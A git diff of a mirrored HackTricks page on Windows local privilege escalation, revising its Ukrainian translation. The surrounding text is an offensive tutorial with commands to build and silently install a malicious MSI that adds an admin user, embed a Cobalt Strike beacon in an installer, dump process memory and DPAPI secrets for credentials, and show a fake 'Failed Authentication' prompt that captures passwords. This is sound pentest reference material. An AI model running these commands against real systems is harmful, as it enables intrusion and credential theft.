mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/RE
This commit is contained in:
parent
1cf0f5d7f2
commit
f67a3e1d6a
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
|
|||||||
cat (Get-PSReadlineOption).HistorySavePath
|
cat (Get-PSReadlineOption).HistorySavePath
|
||||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||||
```
|
```
|
||||||
### Файли транскрипції PowerShell
|
### PowerShell Transcript файли
|
||||||
|
|
||||||
Ви можете дізнатися, як це увімкнути в [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
Ви можете дізнатися, як це увімкнути в [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||||
```bash
|
```bash
|
||||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
|||||||
```
|
```
|
||||||
### PowerShell **Script Block Logging**
|
### PowerShell **Script Block Logging**
|
||||||
|
|
||||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудитний слід кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||||
```bash
|
```bash
|
||||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||||
@ -154,16 +154,29 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
|||||||
|
|
||||||
Ви можете скомпрометувати систему, якщо оновлення не запитуються за допомогою http**S**, а за допомогою http.
|
Ви можете скомпрометувати систему, якщо оновлення не запитуються за допомогою http**S**, а за допомогою http.
|
||||||
|
|
||||||
Ви починаєте з перевірки, чи використовує мережа оновлення WSUS без SSL, запустивши наступне:
|
Ви починаєте з перевірки, чи використовує мережа оновлення WSUS без SSL, запустивши наступне в cmd:
|
||||||
```
|
```
|
||||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||||
```
|
```
|
||||||
Якщо ви отримаєте відповідь, таку як:
|
Або наступне в PowerShell:
|
||||||
|
```
|
||||||
|
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||||||
|
```
|
||||||
|
Якщо ви отримаєте відповідь, таку як одна з цих:
|
||||||
```bash
|
```bash
|
||||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||||
```
|
```
|
||||||
І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` дорівнює `1`.
|
|
||||||
|
```bash
|
||||||
|
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||||||
|
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||||||
|
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||||||
|
PSChildName : windowsupdate
|
||||||
|
PSDrive : HKLM
|
||||||
|
PSProvider : Microsoft.PowerShell.Core\Registry
|
||||||
|
```
|
||||||
|
І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`.
|
||||||
|
|
||||||
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
|
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
|
||||||
|
|
||||||
@ -184,11 +197,11 @@ CTX_WSUSpect_White_Paper (1).pdf
|
|||||||
>
|
>
|
||||||
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
||||||
|
|
||||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
|
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (якщо він буде звільнений).
|
||||||
|
|
||||||
## KrbRelayUp
|
## KrbRelayUp
|
||||||
|
|
||||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підпис LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||||
|
|
||||||
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||||
|
|
||||||
@ -210,11 +223,11 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
|||||||
|
|
||||||
### PowerUP
|
### PowerUP
|
||||||
|
|
||||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||||
```
|
```
|
||||||
Write-UserAddMSI
|
Write-UserAddMSI
|
||||||
```
|
```
|
||||||
Просто виконайте створений бінар для підвищення привілеїв.
|
Просто виконайте створений бінар для ескалації привілеїв.
|
||||||
|
|
||||||
### MSI Wrapper
|
### MSI Wrapper
|
||||||
|
|
||||||
@ -224,16 +237,16 @@ Write-UserAddMSI
|
|||||||
msi-wrapper.md
|
msi-wrapper.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Створення MSI з WIX
|
### Create MSI with WIX
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
create-msi-with-wix.md
|
create-msi-with-wix.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Створення MSI з Visual Studio
|
### Create MSI with Visual Studio
|
||||||
|
|
||||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe`
|
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
|
||||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у полі пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||||
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
|
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
|
||||||
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
|
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
|
||||||
- Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Властивостях** змініть **TargetPlatform** з **x86** на **x64**.
|
- Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Властивостях** змініть **TargetPlatform** з **x86** на **x64**.
|
||||||
@ -245,9 +258,9 @@ create-msi-with-wix.md
|
|||||||
- Нарешті, **зберіть його**.
|
- Нарешті, **зберіть його**.
|
||||||
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
|
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
|
||||||
|
|
||||||
### Встановлення MSI
|
### MSI Installation
|
||||||
|
|
||||||
Щоб виконати **встановлення** шкідливого файлу `.msi` у **фоновому режимі:**
|
Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоновому режимі:**
|
||||||
```
|
```
|
||||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||||
```
|
```
|
||||||
@ -269,7 +282,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
|||||||
```
|
```
|
||||||
### LAPS
|
### LAPS
|
||||||
|
|
||||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../active-directory-methodology/laps.md
|
../active-directory-methodology/laps.md
|
||||||
@ -284,7 +297,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
|||||||
```
|
```
|
||||||
### LSA Protection
|
### LSA Protection
|
||||||
|
|
||||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або інжектувати код, додатково захищаючи систему.\
|
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\
|
||||||
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||||
```bash
|
```bash
|
||||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||||
@ -306,7 +319,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
|||||||
|
|
||||||
### Перерахунок Користувачів та Груп
|
### Перерахунок Користувачів та Груп
|
||||||
|
|
||||||
Вам слід перевірити, чи є у будь-яких груп, до яких ви належите, цікаві дозволи.
|
Вам слід перевірити, чи є у будь-яких груп, до яких ви належите, цікаві дозволи
|
||||||
```bash
|
```bash
|
||||||
# CMD
|
# CMD
|
||||||
net users %username% #Me
|
net users %username% #Me
|
||||||
@ -360,8 +373,8 @@ powershell -command "Get-Clipboard"
|
|||||||
|
|
||||||
### Дозволи на файли та папки
|
### Дозволи на файли та папки
|
||||||
|
|
||||||
По-перше, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
По-перше, при переліку процесів **перевірте наявність паролів у командному рядку процесу**.\
|
||||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарними файлами, щоб експлуатувати можливі [**DLL Hijacking атаки**](dll-hijacking/index.html):
|
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінаром для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||||
```bash
|
```bash
|
||||||
Tasklist /SVC #List processes running and services
|
Tasklist /SVC #List processes running and services
|
||||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||||
@ -393,7 +406,7 @@ todos %username%" && echo.
|
|||||||
```
|
```
|
||||||
### Витягування паролів з пам'яті
|
### Витягування паролів з пам'яті
|
||||||
|
|
||||||
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте зробити дамп пам'яті та прочитати облікові дані.
|
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте витягнути пам'ять і прочитати облікові дані.
|
||||||
```bash
|
```bash
|
||||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||||
```
|
```
|
||||||
@ -418,7 +431,7 @@ Get-Service
|
|||||||
```bash
|
```bash
|
||||||
sc qc <service_name>
|
sc qc <service_name>
|
||||||
```
|
```
|
||||||
Рекомендується мати бінарний **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
Рекомендується мати бінарний файл **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
||||||
```bash
|
```bash
|
||||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||||
```
|
```
|
||||||
@ -445,7 +458,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
|||||||
```
|
```
|
||||||
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
||||||
|
|
||||||
**Інший обхідний шлях** цієї проблеми - запустити:
|
**Ще один обхідний шлях** цієї проблеми - виконати:
|
||||||
```
|
```
|
||||||
sc.exe config usosvc start= auto
|
sc.exe config usosvc start= auto
|
||||||
```
|
```
|
||||||
@ -469,8 +482,8 @@ net stop [service name] && net start [service name]
|
|||||||
- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу служби.
|
- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу служби.
|
||||||
- **WRITE_DAC**: Дозволяє переналаштування дозволів, що веде до можливості змінювати конфігурації служби.
|
- **WRITE_DAC**: Дозволяє переналаштування дозволів, що веде до можливості змінювати конфігурації служби.
|
||||||
- **WRITE_OWNER**: Дозволяє отримання прав власності та переналаштування дозволів.
|
- **WRITE_OWNER**: Дозволяє отримання прав власності та переналаштування дозволів.
|
||||||
- **GENERIC_WRITE**: Спадковує можливість змінювати конфігурації служби.
|
- **GENERIC_WRITE**: Спадкує можливість змінювати конфігурації служби.
|
||||||
- **GENERIC_ALL**: Також спадковує можливість змінювати конфігурації служби.
|
- **GENERIC_ALL**: Також спадкує можливість змінювати конфігурації служби.
|
||||||
|
|
||||||
Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_.
|
Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_.
|
||||||
|
|
||||||
@ -489,7 +502,7 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
|||||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||||
```
|
```
|
||||||
### Служби реєстру змінити дозволи
|
### Послуги реєстру змінити дозволи
|
||||||
|
|
||||||
Вам слід перевірити, чи можете ви змінити будь-який реєстр служби.\
|
Вам слід перевірити, чи можете ви змінити будь-який реєстр служби.\
|
||||||
Ви можете **перевірити** свої **дозволи** над реєстром **служби**, виконавши:
|
Ви можете **перевірити** свої **дозволи** над реєстром **служби**, виконавши:
|
||||||
@ -557,7 +570,7 @@ Windows дозволяє користувачам вказувати дії, я
|
|||||||
|
|
||||||
### Installed Applications
|
### Installed Applications
|
||||||
|
|
||||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і підвищити привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||||
```bash
|
```bash
|
||||||
dir /a "C:\Program Files"
|
dir /a "C:\Program Files"
|
||||||
dir /a "C:\Program Files (x86)"
|
dir /a "C:\Program Files (x86)"
|
||||||
@ -707,7 +720,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
|||||||
|
|
||||||
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
|
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
|
||||||
|
|
||||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з за замовчуванням сховища.
|
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням.
|
||||||
|
|
||||||
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
|
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
|
||||||
```bash
|
```bash
|
||||||
@ -747,8 +760,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
|||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||||
```
|
```
|
||||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифровки.\
|
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\
|
||||||
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви є root).
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dpapi-extracting-passwords.md
|
dpapi-extracting-passwords.md
|
||||||
@ -898,7 +911,7 @@ else { Write "Not Installed." }
|
|||||||
```bash
|
```bash
|
||||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||||
```
|
```
|
||||||
### Putty SSH Host Keys
|
### Ключі хостів Putty SSH
|
||||||
```
|
```
|
||||||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||||||
```
|
```
|
||||||
@ -911,7 +924,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
|||||||
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||||
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||||
|
|
||||||
Якщо служба `ssh-agent` не працює, і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
Якщо служба `ssh-agent` не працює і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
||||||
```bash
|
```bash
|
||||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||||
```
|
```
|
||||||
@ -1054,7 +1067,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
|||||||
```
|
```
|
||||||
### Запит на облікові дані
|
### Запит на облікові дані
|
||||||
|
|
||||||
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питання** клієнта безпосередньо про **облікові дані** є дійсно **ризикованим**):
|
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
|
||||||
```bash
|
```bash
|
||||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||||
@ -1137,13 +1150,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
|
|||||||
```
|
```
|
||||||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||||||
```
|
```
|
||||||
### Credentials in the RecycleBin
|
### Облікові дані в Кошику
|
||||||
|
|
||||||
Вам також слід перевірити Кошик на наявність облікових даних всередині нього
|
Вам також слід перевірити Кошик на наявність облікових даних всередині нього
|
||||||
|
|
||||||
Щоб **відновити паролі**, збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
Щоб **відновити паролі**, збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||||
|
|
||||||
### Inside the registry
|
### Всередині реєстру
|
||||||
|
|
||||||
**Інші можливі ключі реєстру з обліковими даними**
|
**Інші можливі ключі реєстру з обліковими даними**
|
||||||
```bash
|
```bash
|
||||||
@ -1166,13 +1179,13 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
|||||||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||||||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||||||
|
|
||||||
### **Перезапис DLL COM**
|
### **Перезапис COM DLL**
|
||||||
|
|
||||||
**Компонентна об'єктна модель (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
|
**Component Object Model (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
|
||||||
|
|
||||||
Класи та інтерфейси COM визначені в реєстрі під **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** та **HKEY\_**_**CLASSES\_**_**ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
Класи та інтерфейси COM визначені в реєстрі під **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** та **HKEY\_**_**CLASSES\_**_**ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||||
|
|
||||||
